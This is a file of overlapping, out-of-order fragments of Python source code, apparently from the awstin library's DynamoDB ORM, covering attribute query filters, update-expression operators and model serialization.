"value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self,",
"attr._name_on_model = name return attr else: return attr def _dynamodb_attributes(self):",
"Subclasses must have a ``_table_name_`` attribute. Attributes making up the",
"other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self, value): \"\"\" Conditionally",
"value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self,",
"name_map[name] = section serialized_sections.append(name) serialized += \".\".join(serialized_sections) result = {",
"data model \"\"\" model_attrs = cls._dynamodb_attributes() result = cls() for",
"{ \"SET\": [ f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\":",
"getattr(self, model_name) if value is not NOT_SET: if type(value) in",
"} class AddOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr",
"serialized_operand[ \"ExpressionAttributeValues\" ], } # ---- Update Operands def serialize_operand(value):",
"+= \".\" part = part[1:] sections = part.split(\".\") serialized_sections =",
"name, value in kwargs.items(): if name not in model_attrs: msg",
"by existence in a set Parameters ---------- values : list",
"BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\" Filter results by existence in",
"as part of the update expression in ``Table.update_item``. Parameters ----------",
"to DELETE as part of the update expression in ``Table.update_item``.",
"{ \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names,",
"be passed to DynamoDB get attribute calls to employ a",
"return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used to define and",
"model should be Attr or Key instances. Subclasses representing indexes",
"def __add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self, other):",
"in ``Table.update_item``. \"\"\" return RemoveOperator(self) def add(self, expression): \"\"\" Add",
"**serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" +",
"name of the attribute on the DynamoModel class. \"\"\" #",
"value): \"\"\" Conditionally return a value if this attribute doesn't",
"expression defining a new value \"\"\" return SetOperator(self, UpdateOperand(expression)) def",
"between(self, low, high): \"\"\" Filter results by range (inclusive) Parameters",
"= \", \".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self):",
"\"\"\" Parameters ---------- attribute_name : str, optional Name of the",
"UpdateOperand(self), \"-\") def if_not_exists(self, value): \"\"\" Conditionally return a value",
"has no attribute {name!r}\" raise AttributeError(msg) setattr(self, name, value) @classmethod",
"type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\" Support for nested container queries",
"range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def __eq__(self, value):",
"value return result # ---- Update Operators class UpdateOperator(ABC): \"\"\"",
"in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"],",
"set). Corresponds to ADD as part of the update expression",
"**serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\": [ f\"{serialized_attr['UpdateExpression']} = \"",
"returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high): \"\"\"",
"{ \"#\" + str(uuid.uuid4())[:8]: value for value in self._dynamodb_attributes().keys() }",
"def _dynamodb_attributes(self): result = { getattr(self, attr)._awstin_name: attr for attr",
"= None): \"\"\" Parameters ---------- attribute_name : str, optional Name",
"items = list(ser_left.items()) + list(ser_right.items()) for key, values in items:",
"= NotSet() class BaseAttribute: def __init__(self, attribute_name: Union[str, None] =",
"is dict: value = {from_decimal(k): from_decimal(v) for k, v in",
"part.split(\".\") serialized_sections = [] for section in sections: name =",
"+ str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name) serialized += \".\".join(serialized_sections) result",
"of an update expression \"\"\" def __init__(self, value): self.value =",
"\"[\": parts.append(current_section) current_section = \"[\" elif letter == \"]\": parts.append(current_section",
"value : str Index for a DynamoDB attribute type (e.g.",
"return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\":",
"\"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"],",
"should be Attr or Key instances. Subclasses representing indexes should",
"setattr(self, name, value) @classmethod def deserialize(cls, data): \"\"\" Deserialize JSON",
"__init__(self, left, right, symbol): self.left = left self.right = right",
"symbol): self.left = left self.right = right self.symbol = symbol",
"value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self,",
"serialize_operand(value): name = str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return value.serialize() elif",
"an expression defining a new value \"\"\" return SetOperator(self, UpdateOperand(expression))",
"} else: name = \":\" + name return { \"UpdateExpression\":",
"isinstance(attr, BaseAttribute): attr._name_on_model = name return attr else: return attr",
"serialize(self): \"\"\" Produce kwargs to be passed to DynamoDB Table.update_item.",
"--- Query and scan filter expressions --- def begins_with(self, value):",
"a dynamodb table data model \"\"\" _query_type = BotoAttr def",
"attr self.operand = operand def update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand",
"UpdateOperand(expression)) def remove(self): \"\"\" Remove an attribute. Corresponds to REMOVE",
"BaseAttribute): return itemize_attr(value) elif type(value) in [list, set, tuple]: name",
"super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model = name return attr else:",
"type(value) is dict: value = {to_decimal(k): to_decimal(v) for k, v",
"Corresponds to SET as part of the update expression in",
"for attribute values Returns ------- dict Kwargs for update_item \"\"\"",
"remove(self): \"\"\" Remove an attribute. Corresponds to REMOVE as part",
"update expression in ``Table.update_item``. Parameters ---------- expression : UpdateOperand New",
"and sort key attributes on a dynamodb table data model",
"f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"],",
"of the attribute on the DynamoModel class. \"\"\" # Set",
"Attributes to request when retrieving data from DynamoDB Returns -------",
"f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\": expression,",
"{from_decimal(k): from_decimal(v) for k, v in value.items()} else: value =",
"__init__(self, **kwargs): \"\"\" Parameters ---------- **kwargs : dict of (str,",
"Decimal to float in the deserialization. Parameters ---------- data :",
"Filter results by existence of an attribute \"\"\" return BotoAttr(self._awstin_name).exists()",
"attribute calls to employ a projection expression and placeholders \"\"\"",
"\"\"\" update_dict = self.update_dict() result = { \"UpdateExpression\": self.update_expression(update_dict), }",
"deserialized data model \"\"\" model_attrs = cls._dynamodb_attributes() result = cls()",
"def __and__(self, other): \"\"\" Combine two update expressions \"\"\" return",
"Parameters ---------- attribute_name : str, optional Name of the property",
"Attributes making up the data model should be Attr or",
"= serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return",
"have a ``_table_name_`` attribute. Attributes making up the data model",
"self.left = left self.right = right def update_dict(self): result =",
"attr, NOT_SET) for db_attr, value in data.items(): if db_attr in",
"values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self):",
"for operation in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation",
"**ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result class SetOperator(UpdateOperator): \"\"\" Support for",
"[list, set, tuple]: name = \":\" + name value =",
"data model \"\"\" _query_type = BotoKey class Attr(BaseAttribute): \"\"\" Used",
"else: value = from_decimal(value) setattr(result, model_attrs[db_attr], value) return result def",
"NOT_SET: if type(value) in [list, set, tuple]: value = type(value)(to_decimal(v)",
"DynamoDB get attribute calls to employ a projection expression and",
"employ a projection expression and placeholders \"\"\" placeholders = {",
"AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\" Support for nested",
"def delete(self, expression): \"\"\" Delete part of a set attribute.",
"\"\"\" Used to define and query non-key attributes on a",
"value): \"\"\" Filter results by attribute type Parameters ---------- value",
"value in data.items(): if db_attr in model_attrs.keys(): if type(value) in",
"= \"\" for letter in attr._awstin_name: if letter == \"[\":",
"( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\":",
"to_decimal(high), ) def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value):",
"def set(self, expression): \"\"\" Set an attribute to a new",
"self.update_dict() result = { \"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"]",
"+= \".\".join(serialized_sections) result = { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\":",
"self._dynamodb_attributes().keys() } expression = \", \".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders,",
"__le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\" Filter results",
"(str, Any) The serialized JSON entry \"\"\" model_attrs = type(self)._dynamodb_attributes()",
"map for attribute names \"ExpressionAttributeValues\": Placeholder map for attribute values",
"[list, set, tuple]: value = type(value)(to_decimal(v) for v in value)",
"**serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"]",
"returned results \"\"\" in_values = [to_decimal(value) for value in values]",
"\"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, } def itemize_attr(attr):",
"in model_attrs: setattr(self, name, NOT_SET) for name, value in kwargs.items():",
"sections = part.split(\".\") serialized_sections = [] for section in sections:",
"return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\"",
"__rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self, value): \"\"\"",
"else: return attr def _dynamodb_attributes(self): result = { getattr(self, attr)._awstin_name:",
"= f\"{type(self)!r} has no attribute {name!r}\" raise AttributeError(msg) setattr(self, name,",
"v in value) elif type(value) is dict: value = {from_decimal(k):",
"= right def serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right)",
"inserted into DynamoDB. Internally converts float to Decimal. Returns -------",
"attribute does not exist \"\"\" def __init__(self, attr, value): self.attr",
"return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter results by non-existence of",
"expression = ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return",
"IfNotExistsOperand(UpdateOperand): \"\"\" Set a value if the given attribute does",
"itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, }",
"] return result class CombineOperator(UpdateOperator): \"\"\" Combine two update expressions",
"UpdateOperand: \"\"\" Inner part of an update expression \"\"\" def",
"self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\":",
"if the given attribute does not exist \"\"\" def __init__(self,",
"\"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation + \" \" + \",",
"part[1:] sections = part.split(\".\") serialized_sections = [] for section in",
"typing import Union from boto3.dynamodb.conditions import Attr as BotoAttr from",
"\"\"\" return { **self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self): \"\"\" Attributes",
"a DynamoModel subclass. Internally converts Decimal to float in the",
"f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"],",
"def update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names =",
"are: \"UpdateExpression\": string representing the update expression \"ExpressionAttributeNames\": Placeholder map",
"def __init__(self, left, right): self.left = left self.right = right",
"Any) Serialized model Returns ------- DynamoModel The deserialized data model",
"range high : Any High end of the range \"\"\"",
"parts.append(current_section) serialized = \"\" name_map = {} # Separate attributes",
"type (e.g. \"N\" for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self,",
"list of Any Allowed values of returned results \"\"\" in_values",
"__ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter results by",
"class CombineOperator(UpdateOperator): \"\"\" Combine two update expressions \"\"\" def __init__(self,",
"return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter by size of a",
"# Set by Model self._name_on_model = None @property def _awstin_name(self):",
"right): self.left = left self.right = right def update_dict(self): result",
"of a set attribute. Corresponds to DELETE as part of",
"_index_kwargs(self): if hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_, ) else: return",
"attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } # ---- Update Operands",
"expressions.append(operation + \" \" + \", \".join(update_dict[operation])) return \" \".join(expressions)",
"Returns ------- DynamoModel The deserialized data model \"\"\" model_attrs =",
"\"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, } def itemize_attr(attr): # Separate",
"BaseAttribute: def __init__(self, attribute_name: Union[str, None] = None): \"\"\" Parameters",
"], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator):",
"value is not NOT_SET: if type(value) in [list, set, tuple]:",
"in dir(self) if isinstance(getattr(self, attr), BaseAttribute) } return result def",
"itemize_attr(attr): # Separate indexes parts = [] current_section = \"\"",
"Operands def serialize_operand(value): name = str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return",
"v in value) elif type(value) is dict: value = {to_decimal(k):",
"to employ a projection expression and placeholders \"\"\" placeholders =",
"Update Operators class UpdateOperator(ABC): \"\"\" A representation of an UpdateItem",
"= value return result # ---- Update Operators class UpdateOperator(ABC):",
"mapping queries \"\"\" try: return super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\")",
"the update expression in ``Table.update_item``. \"\"\" return RemoveOperator(self) def add(self,",
"{to_decimal(k): to_decimal(v) for k, v in value.items()} else: value =",
"to a set). Corresponds to ADD as part of the",
"= \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\"",
"of the range high : Any High end of the",
"High end of the range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high),",
"\"\"\" A value of an attribute on a data model",
"serialized_attr = itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"],",
"expressions --- def set(self, expression): \"\"\" Set an attribute to",
"map for attribute values Returns ------- dict Kwargs for update_item",
"Allowed values of returned results \"\"\" in_values = [to_decimal(value) for",
"{}, } class DeleteOperator(UpdateOperator): def __init__(self, attr, operand): self.attr =",
"Keys and values are: \"UpdateExpression\": string representing the update expression",
"\"\"\" Combine two lists \"\"\" def __init__(self, left, right): self.left",
"return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high): \"\"\" Filter results by",
"class DeleteOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr self.operand",
"contain the target value Parameters ---------- values : Any Result",
"an ``_index_name_`` attribute \"\"\" def __init__(self, **kwargs): \"\"\" Parameters ----------",
"by user self._attribute_name = attribute_name # Set by Model self._name_on_model",
"\"\"\" def __init__(self, value): self.value = value def serialize(self): return",
"Set by Model self._name_on_model = None @property def _awstin_name(self): if",
"import defaultdict from typing import Union from boto3.dynamodb.conditions import Attr",
"\"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation + \" \" +",
"scan filter expressions --- def begins_with(self, value): \"\"\" Filter results",
"other): \"\"\" Combine two update expressions \"\"\" return CombineOperator(self, other)",
"setattr(result, model_attrs[db_attr], value) return result def serialize(self): \"\"\" Serialize a",
"set, tuple]: value = type(value)(to_decimal(v) for v in value) elif",
"key, values in items: if key in [\"SET\", \"ADD\", \"DELETE\",",
"def serialize(self): \"\"\" Serialize a DynamoModel subclass to JSON that",
"result def serialize(self): \"\"\" Serialize a DynamoModel subclass to JSON",
"f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[",
"{ \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, } return result",
"return result class UpdateOperand: \"\"\" Inner part of an update",
"calls to employ a projection expression and placeholders \"\"\" placeholders",
"str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name) serialized += \".\".join(serialized_sections) result =",
"import from_decimal, to_decimal class NotSet: \"\"\" A value of an",
"DynamoModelMeta(type): def __getattribute__(self, name): attr = super().__getattribute__(name) if isinstance(attr, BaseAttribute):",
"subclass to JSON that can be inserted into DynamoDB. Internally",
"name, value) @classmethod def deserialize(cls, data): \"\"\" Deserialize JSON into",
"data.items(): if db_attr in model_attrs.keys(): if type(value) in [list, set,",
"} expression = \", \".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, )",
"in value.items()} else: value = from_decimal(value) setattr(result, model_attrs[db_attr], value) return",
"serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" )",
"to Decimal. Returns ------- dict of (str, Any) The serialized",
"\"]\": parts.append(current_section + \"]\") current_section = \"\" else: current_section +=",
"for db_attr, value in data.items(): if db_attr in model_attrs.keys(): if",
"if_not_exists(self, value): \"\"\" Conditionally return a value if this attribute",
"itemize_attr(value) elif type(value) in [list, set, tuple]: name = \":\"",
"\"\"\" in_values = [to_decimal(value) for value in values] return BotoAttr(self._awstin_name).is_in(in_values)",
"self.left = left self.right = right self.symbol = symbol def",
"self.left.update_dict() ser_right = self.right.update_dict() items = list(ser_left.items()) + list(ser_right.items()) for",
"self.value = value def serialize(self): ser_attr = serialize_operand(self.attr) ser_value =",
"\"\"\" Filter by size of a collection \"\"\" return Size(self._awstin_name)",
"def _dynamo_projection(self): \"\"\" Attributes to request when retrieving data from",
"to an attribute (numerical add or addition to a set).",
"@staticmethod def update_expression(update_dict): expressions = [] for operation in \"SET\",",
"ADD as part of the update expression in ``Table.update_item``. Parameters",
") def _index_kwargs(self): if hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_, )",
"\"\"\" Filter results by attribute type Parameters ---------- value :",
"as BotoKey from awstin.dynamodb.utils import from_decimal, to_decimal class NotSet: \"\"\"",
"section in sections: name = \"#\" + str(uuid.uuid4())[:8] name_map[name] =",
"\".\".join(serialized_sections) result = { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {},",
"return attr def _dynamodb_attributes(self): result = { getattr(self, attr)._awstin_name: attr",
"import ABC, abstractmethod from collections import defaultdict from typing import",
"expression \"\"\" def __and__(self, other): \"\"\" Combine two update expressions",
"result[dynamo_name] = value return result # ---- Update Operators class",
"return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class",
"try: return super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index):",
"if hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_, ) else: return {}",
"\"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def __eq__(self, value): return",
"Subclasses representing indexes should also have an ``_index_name_`` attribute \"\"\"",
"return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and scan filter expressions ---",
"the range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def __eq__(self,",
"], } # ---- Update Operands def serialize_operand(value): name =",
"instances. Subclasses representing indexes should also have an ``_index_name_`` attribute",
"return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an ORM model",
"making up the data model should be Attr or Key",
"Parameters ---------- expression : UpdateOperand New value, or an expression",
"request when retrieving data from DynamoDB Returns ------- dict kwargs",
"{ **self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self): \"\"\" Attributes to request",
"update_dict = self.update_dict() result = { \"UpdateExpression\": self.update_expression(update_dict), } if",
"[] for section in sections: name = \"#\" + str(uuid.uuid4())[:8]",
"= self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return {",
"value : str Starting string for returned results \"\"\" return",
"return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\" Filter results by attributes",
"of (str, Any) The serialized JSON entry \"\"\" model_attrs =",
"if current_section: parts.append(current_section) serialized = \"\" name_map = {} #",
"def itemize_attr(attr): # Separate indexes parts = [] current_section =",
"the property in the DynamoDB table. Defaults to the name",
"part.startswith(\".\"): serialized += \".\" part = part[1:] sections = part.split(\".\")",
"self._name_on_model def __getattr__(self, name): \"\"\" Support for nested mapping queries",
"\"\"\" def __init__(self, left, right): self.left = left self.right =",
"range (inclusive) Parameters ---------- low : Any Low end of",
"dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), }",
"**ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand): \"\"\" Set a value if",
"} def _dynamo_projection(self): \"\"\" Attributes to request when retrieving data",
"sections: name = \"#\" + str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name)",
"= { \"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"]",
"attribute {name!r}\" raise AttributeError(msg) setattr(self, name, value) @classmethod def deserialize(cls,",
"value. Corresponds to SET as part of the update expression",
"placeholders = { \"#\" + str(uuid.uuid4())[:8]: value for value in",
"return self._name_on_model def __getattr__(self, name): \"\"\" Support for nested mapping",
"defaultdict from typing import Union from boto3.dynamodb.conditions import Attr as",
"in attr._awstin_name: if letter == \"[\": parts.append(current_section) current_section = \"[\"",
"a key or attribute beginning with a value Parameters ----------",
"], } class AddOperator(UpdateOperator): def __init__(self, attr, operand): self.attr =",
"= ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return {",
"Parameters ---------- data : dict of (str, Any) Serialized model",
"dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand): \"\"\" Set a",
"in the deserialization. Parameters ---------- data : dict of (str,",
"Corresponds to DELETE as part of the update expression in",
"], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } # ----",
"__init__(self, left, right): self.left = left self.right = right def",
"\"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation + \" \"",
"high): \"\"\" Filter results by range (inclusive) Parameters ---------- low",
"if this attribute doesn't exist on the model \"\"\" return",
"def size(self): \"\"\" Filter by size of a collection \"\"\"",
"if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[",
"{ \"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if",
"\"\"\" Inner part of an update expression \"\"\" def __init__(self,",
"= update_dict[ \"ExpressionAttributeValues\" ] return result class CombineOperator(UpdateOperator): \"\"\" Combine",
"__init__(self, value): self.value = value def serialize(self): return serialize_operand(self.value) class",
"UpdateOperator(ABC): \"\"\" A representation of an UpdateItem expression \"\"\" def",
"result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result class SetOperator(UpdateOperator):",
"def serialize(self): \"\"\" Produce kwargs to be passed to DynamoDB",
"return result def _get_kwargs(self): \"\"\" Kwargs that should be passed",
"else: if part.startswith(\".\"): serialized += \".\" part = part[1:] sections",
"{ \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict(",
"\".join(update_dict[operation])) return \" \".join(expressions) def serialize(self): \"\"\" Produce kwargs to",
"in value]) return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name:",
"the target value Parameters ---------- values : Any Result must",
"right def serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression",
"to query, scan, get_item \"\"\" return { **self._dynamo_projection(), **self._index_kwargs(), }",
"\"<<Attribute not set>>\" def __repr__(self): return \"<<Attribute not set>>\" NOT_SET",
"= serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\"",
": Any Low end of the range high : Any",
"list_append(left, right): \"\"\" Set a value to the combination of",
"\" f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"],",
"return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\":",
"Defaults to the name of the attribute on the DynamoModel",
"this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter results",
"None @property def _awstin_name(self): if self._attribute_name is not None: return",
"attribute_name # Set by Model self._name_on_model = None @property def",
"---------- low : Any Low end of the range high",
"right, symbol): self.left = left self.right = right self.symbol =",
"letter == \"]\": parts.append(current_section + \"]\") current_section = \"\" else:",
"class AddOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr self.operand",
"in ``Table.update_item``. Parameters ---------- expression : UpdateOperand Value to add",
"= part.split(\".\") serialized_sections = [] for section in sections: name",
"def serialize(self): ser_attr = serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression =",
"(inclusive) Parameters ---------- low : Any Low end of the",
"an UpdateItem expression \"\"\" def __and__(self, other): \"\"\" Combine two",
"\"\"\" def __and__(self, other): \"\"\" Combine two update expressions \"\"\"",
"== \"]\": parts.append(current_section + \"]\") current_section = \"\" else: current_section",
"\"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used to define",
"non-key attributes on a dynamodb table data model \"\"\" _query_type",
"low : Any Low end of the range high :",
"set Parameters ---------- values : list of Any Allowed values",
"\"+\") def __sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self,",
"return { \"SET\": [ f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"] ],",
"of (str, Any) Initialization of Attr and Key attributes. \"\"\"",
"two update expressions \"\"\" def __init__(self, left, right): self.left =",
"non-existence of an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\"",
"value = from_decimal(value) setattr(result, model_attrs[db_attr], value) return result def serialize(self):",
"f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\"",
"attribute. Attributes making up the data model should be Attr",
"\"\"\" Deserialize JSON into a DynamoModel subclass. Internally converts Decimal",
"[serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator): def __init__(self,",
"------- dict Kwargs for update_item \"\"\" update_dict = self.update_dict() result",
"DynamoModel The deserialized data model \"\"\" model_attrs = cls._dynamodb_attributes() result",
"], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator):",
"from awstin.dynamodb.utils import from_decimal, to_decimal class NotSet: \"\"\" A value",
